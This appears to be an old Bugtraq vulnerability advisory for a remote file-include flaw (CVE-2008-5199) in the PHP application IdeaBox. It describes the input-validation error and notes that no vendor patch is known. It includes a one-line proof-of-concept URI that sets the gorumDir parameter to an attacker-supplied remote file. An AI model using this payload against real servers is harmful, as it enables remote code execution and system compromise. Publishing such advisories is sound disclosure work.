IdeaBox 'include.php' Remote File Include Vulnerability

Bugtraq ID:	29944
Class:	Input Validation Error
CVE:	CVE-2008-5199
Remote:	Yes
Local:	No
Published:	Jun 25 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	Kacper
Vulnerable:	PHPOutsourcing IdeaBox 0
Not Vulnerable:

IdeaBox 'include.php' Remote File Include Vulnerability

IdeaBox is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

IdeaBox 'include.php' Remote File Include Vulnerability

Attackers can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/[Path]/include.php?gorumDir=[EVIL]

IdeaBox 'include.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

IdeaBox 'include.php' Remote File Include Vulnerability

References:

• IdeaBox Homepage (PhpOutsourcing)
  
• IdeBox (include) Remote File Inclusion Vulnerability (Ghost hacker )
  
• Re: IdeBox (include) Remote File Inclusion Vulnerability ('Vladimir '3APA3A' Dubrovin' <[email protected]>)